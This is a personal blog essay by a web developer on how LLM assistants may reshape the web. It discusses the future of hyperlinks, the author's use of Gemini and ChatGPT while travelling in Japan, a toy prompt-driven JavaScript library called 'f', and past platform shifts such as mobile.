I was chatting with a colleague about the intersection of AI tooling and the web and the following thought popped into my mind “If you had a machine that could instantly recall or create any facet of information, do you need a link?”

It’s the link that I am worried about and I now think about this constantly.

The way that we — the people who build sites — create links is as a way of saying “I think this is important”. “I think this is related or has more context”. “I think you should look at this”. And what we know as a hyperlink, a thin blue line underneath some text made by wrapping it in an <a> tag connecting two documents together via a directed graph structure is just a construct of the technology that renders web pages.

What I am experiencing doesn’t feel a million miles away from the original definition of hypertext. The idea that you could have a machine that could recall any piece of information and then connect it with any other piece of text. Specifically, Transclusions feel pretty close to where I see LLMs going.

In computer science, transclusion is the inclusion of part or all of an electronic document into one or more other documents by reference via hypertext. Transclusion is usually performed when the referencing document is displayed, and is normally automatic and transparent to the end user.[1] The result of transclusion is a single integrated document made of parts assembled dynamically from separate sources, possibly stored on different computers in disparate places. The result of transclusion is a single integrated document made of parts assembled dynamically from separate sources, possibly stored on different computers in disparate places.

Emphasis mine — Transclusions

It feels like the directed edge that defines a link in this massive directed graph that we know as the web is changing as LLM’s seem to be able to connect concepts across many documents and just merge them into the response.

This directed graph nature of the web has been fundamental to how we experience the web. It enables things like Page Rank to exist, which to my understanding has the link imply some level of authority. Its unclear to me if this is of any importance to a LLM. Is the link just a way to point a web-crawler to another page so it can be ingested? If so, then is the only way to have an LLM not ingest your content is to make it undiscoverable? Maybe it’s to put it behind a login wall. This feels like a big step backwards on both fronts, however with things like Substack and Medium, the latter seems to be the ways it’s going.

The link can still point to content in the open or content that is private behind a login and enable instant access to any experience. So we still have that for now, but in is a world where LLMs become the super app because they can recall and generate content and functionality in an instant, then what next?

I’m not sure if it’s a technology problem (i.e, links need to change) or if like the mobile-first push we just need to work out where the web fits in the grand scheme of things, but I don’t believe that the “Web will always win” is a good enough answer.

Maybe we always just need to ask LLMs to include citations. Maybe we need to redefine what a link is. Maybe we need to rethink the capabilities of the platform. Maybe we need to create more incentives for putting content on the open web and linking to it directly.

This is something that I want to explore more in the future and I don’t want to sit idly by and be react in 5 years like we did with mobile. I want to be proactive and help shape the future of the web.

I would give the LLM photos of packets of food and ask what it is and it would handily tell me the brand, and then I could follow up and with a photo of the back of the packet and ask if there was milk in it (my daughter can’t drink milk), and it would explain the ingredients and potential allergens…. Given my non-existent ability to read Japanese I had to trust the LLM.

We went to Kyoto and I would ask the LLM what was written on the noticeboard of the shrine and what the cultural importance of it was, and it would tell me. I sat on a tourist train trundling through a valley pointing my camera at something that looked like a nuclear reactor - turns out it was a stadium.

While waiting outside a pharmacy I would ask the LLM to tell me the latest news about the local area and it would present a quick overview of what had happened in English from Japanese sources.

As I wandered around Himeji castle and had questions, I could just check the LLM. As I saw the fish gargoyles that adorn each of the roofs on the castle, I could ask what they were and their cultural relevance and get a comprehensive answer. A lot more than I could from the placards I dotted around the site.

As we were riding the Shinkansen back to Tokyo I wondered how many sites were blocking LLM’s User-Agents, so I asked Gemini to build a script that would check (and copied it into my Android Linux terminal - it didn’t work, python wasn’t installed, but it was so close).

I rarely left these tools and it’s been on my mind a lot.

A couple of months ago I had two ideas running around my head. The first was me musing if it was possible to have a future programming language built around prompts, and the second was will it be possible to build UIs based on a goal. Combining the two ideas I created a little toy-library called f and a demo that would build a UI for a site based on a request to a JSON API using as plain-english as I can currently get. I was blown away by how far you can get by describing your goals. Want a form that collects data? Great, just describe it! Want a UI built for a random API? Just point it at the data and ask it to build the UI.

const getSpaceData =
  await f`fetch JSON from https://api.spaceflightnewsapi.net/v4/articles/`;

const news = await getSpaceData();

// Describe the data structure so the the UI prompt has a better idea of what to build.

const generateSchema =
  await f`Return a JSON Schema for a given object. The schema should be in the format defined in https://json-schema.org/understanding-json-schema/reference/object.html and should include all the properties of the object. The schema should include the type of the property, the format of the property, the required status of the property, and the description of the property. The schema should include all the properties of the object. The schema should include the type of the property, the format of the property, the required status of the property, and the description of the property.`;

// Describe the data
const schemeDescription = generateSchema(spaceData);

const buildSpaceUI =
  await f`Using the data defined in <output> create a UI that will best display the space flight information. The developer will provide the data as a parameter and it will be in the format defined in <output>.

<output>${JSON.stringify(schemeDescription)}</output>`;

document.body.appendChild(buildSpaceUI(spaceData));

So why is Japan and ‘f’ in the same article?

I had to work for two days on this vacation and I was relating my use of Gemini and ChatGPT to a friend about how every time I go to China show me how pervasive WeChat is across people’s lives. Gemini and ChatGPT were my super-app. Yes, on this trip I wasn’t ordering food, cars, laundry or anything else, but for my needs both Gemini and ChatGPT gave me everything I needed. Translations, background information, local-news, and even a bit of work that I needed to think about.

In that conversation, I was describing the experience of how I took a photo of a nuclear reactor and ChatGPT built a little program that scanned and panned the image to find where I was and what I was looking at. It built a mini application to solve the problem (see below) and it hit me….

We’re not far away from tasks, be it expressed via text replies and “thinking tokens” or dynamic UI’s and applications that are built to service a single user requests from directly inside the LLM.

I started to describe this in “The Disposable Web”, that it is becoming easier to create software that solves one problem once. And when I compare what can be created today in the canvases of these tools against many of the run-of-the-mill CRUD style experiences that operate inside WeChat and it feels easy (for me at least) to draw a connection that we are not far away from getting these applications built dynamically inside a LLM to service the need for the user, and when that happens, what’s next for the web?

Many of the apps inside WeChat are not incredibly complex, they are run-of-the-mill CRUD style experiences. We’re really not far away from getting these built dynamically and when that happens, what’s next for the web? I can see a straight line between WeChat and the experience I had in Gemini and ChatGPT. Yes, the experience in ChatGPT took a while to create (according to the “thinking” timing, it was over 90 seconds) and today it is far too slow for applications as we know it. If we use the Jacob Nielsen research “0.1 seconds (100 ms) creates the illusion of instantaneous response” (2025) as a target, then it looks like we have to make a 100 fold improvement to token generation to build blocking-free UI. How many Tokens/s do we need to make things feel instant? I think that might come sooner rather than later, model improvements seem inevitable and hardware improvements like Groq are showing that there is already a path.

HTML, CSS and JavaScript are the most expressive languages available today to render a UI and LLMs are pretty good today at generating them, so to me there is a world where this will be the easiest route to build UI that will service the specific needs of a user request directly in one of these LLMs and you rarely ever need to leave.

If you combine this with Agent communication protocols like MCP which are changing the way that we chain more complex apps and tasks together, it really feels like we are at the start of a major transition in computation and user interaction.

I argue pretty strongly that the web’s super power is the link. It lets anyone click on it and then navigate to an experience. App platforms would kill for this power because today their restrictive review process and restriction on what can run in their sandboxes (there are limits to what they allow developers to run dynamically - e.g, iOS relatively recently allowed none browsers to run dynamic JS). Tools like ChatGPT are doing an end-run around this restriction and to me the power of the link is in question. Who needs a link anymore when you can recall any text or will any experience into existence?

HTML and JavaScript are the most expressive languages to render a UI. It’s not a stretch for a UI to be created to service the specific needs of a user request, or when an Agent wants some form of human input. If any application can do this, then what is the future for web apps? Will apps just live inside these apps like mini-apps live inside WeChat? Should the Web Platform engineers at browser companies invest more in in-app experiences (i.e, WebView)? Should we as an industry do more to enable any website in the browser to do the same?

There’s a lot the web can already do to be the primary platform for this type of experience… We have sand-boxing for arbitrary code execution be it JS or any other flavour with WASM. We have the ability to run arbitrary code in a webview, and we have the ability to run arbitrary code in a web worker away from the UI. I wonder if there will be a future where we pull in small parts of existing web app’s DOM and run them inside a new super-app, or even define custom-element contracts that will enable us to load widgets from other sites and enable “my” UI to be surfaced in the app.

I actually don’t know where the future will go, but the recent experiences that I’ve had lean me towards Gemini or ChatGPT being a new type of headless web and I don’t think we are far away from having the everything app for the west?

Who needs a browser anymore?

In each of these moments, I knew things changed and at the same time I had no comprehension of how they would change the direction of my life. It is like there was a fog in front of me, I could see vague outlines of things.

When I look back on my career as a Web Developer, I’ve been involved in many major transitions: The Web being a thing that you had to care about; Dial-up to Broadband enabling a step-change in the types of experiences we could interact with; The Desktop to Mobile transition and all the change that this brought for the web - At Google we felt that we had to go bring the web to mobile, so I focused on Mobile-first as a primary motivator, then a push on Progressive Web Apps as the way that all apps should be built and experienced.

Through these later transitions I felt I could clearly see the path that I or my teams should take. Getting my hands on an iPhone and instantly it felt clear to me that the web needed to work well on mobile because this is where the future will be. Later given the growth of mobile and the fact that for billions of people it was their first experience with a computer it was quickly obvious. It felt clear that there was an existential risk to the web and that there would need to be a solutions for the centralization of Apps - which our solution would become “Progressive Web Apps” - it all felt pretty clear.

But each of these transitions to the web wrought a lot of change.

• Dial-up to Broadband - The web became a desktop-class hosting platform for applications and fundamentally changed how Windows worked, leading to the rise of Web aggregators like Google, and the creation of services like YouTube, all because the increase in bandwidth and reduction in latency meant that you could do surf more and developers could deliver more. Many of the services we once relied on (anyone remember MapQuest?) were obliterated nearly over night by more interactive and engaging services. Always being on meant always having access to email, instant messaging, social, Flash games, audio and video.
• Desktop to Mobile - You could see the web just not working well on iPhone-like mobile devices, and while it took a bit of time for Apps to find their mobile-first footing (i.e, not just a port of the Desktop experience) the web clearly took a lot longer to be mobile-first, or even responsive. Yes, Responsive design had been around prior to the launch of the iPhone, but it wasn’t until 2015 when Google search started a mobile-first push that the ecosystem really started to move. My own involvement in this project started a lot earlier as I could see an explosive growth of mobile because of reductions in price of the device and massive improvements to connectivity in India and China meant that people’s first computing devices might never highlight the web.

Some people see the transition far ahead of time. I had friends who built a web browser for Windows CE because they saw the rise of Nokia phones and could see the next jump to a more powerful experience and wanted to ensure that web worked well on these devices. I didn’t see that then, I just saw terrible WAP sites. However, I could feel the change with the iPhone.

It was the same with LLMs. The first time that I used an LLM was in the OpenAI playground… I believe it was GPT 2, and I just didn’t think that this was going to be a fundamental shift in the way that we interact with computers. I couldn’t see how this was going to change the way that we interacted with the web. I didn’t see how this would change how I build software almost overnight. I just couldn’t see how this was could change the way that we interacted with our devices.

I remember thinking: “That’s a neat trick”. And then I got on with my life.

Like many people, I think this changed when we first played with ChatGPT. It wasn’t perfect, it was slow, but I got it building a simple web app in a few minutes and I could feel that this had the potential to change the way that I work and the way that people interact with computers. I remember clear as day, sitting next to my wife on the couch saying that everything is going to change.

It feels clear that we are in the midst of another major transition, and I’m at a personal transition. I’m at a point where I was thinking about what I want to do next with what I think will be the next huge shift for computing. I’ve been working on the web nearly 30 years and working at Google for 15 of those and my fundamental question is: What is going to happen to the web?

What I do know is that I love the web, I think it’s the best platform to write once and reach everyone. I love seeing that the web is the place where people are experimenting with the entire range of delivery of AI experiences to people, be it access to Large Language Models, Image Segmentation, Video analysis, or even new flavours of search.

I want to be at the forefront of the medium that is the web, and the potential new platform that is “AI” (we need a much better name) and aifoc.us is my own personal place to muse on a lot of questions about this transition.

ps, Blame Barry Pollard for this domain name.